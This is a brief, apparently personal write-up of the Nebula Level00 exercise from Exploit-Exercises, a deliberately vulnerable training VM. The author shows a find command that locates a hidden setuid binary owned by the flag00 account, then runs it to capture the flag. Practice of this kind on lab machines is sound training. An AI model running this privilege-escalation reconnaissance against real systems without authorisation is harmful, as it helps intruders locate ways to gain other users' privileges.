I decided to improve my exploiting skillz and try the Exploit-Exercises levels. First levels are quite easy but I decided to catch them'all!

Ok, so Level00 is about finding a executable owned by flag00 user and that has the setuid flag, easy as:

level00@nebula:~$ find / -executable -user flag00 -perm -4000 2> /dev/null  
/bin/.../flag00
level00@nebula:~$cd /bin/...  
level00@nebula:/bin/...$ ./flag00  
Congrats, now run getflag to get your flag!  
flag00@nebula:/bin/...$ getflag  
You have successfully executed getflag on a target account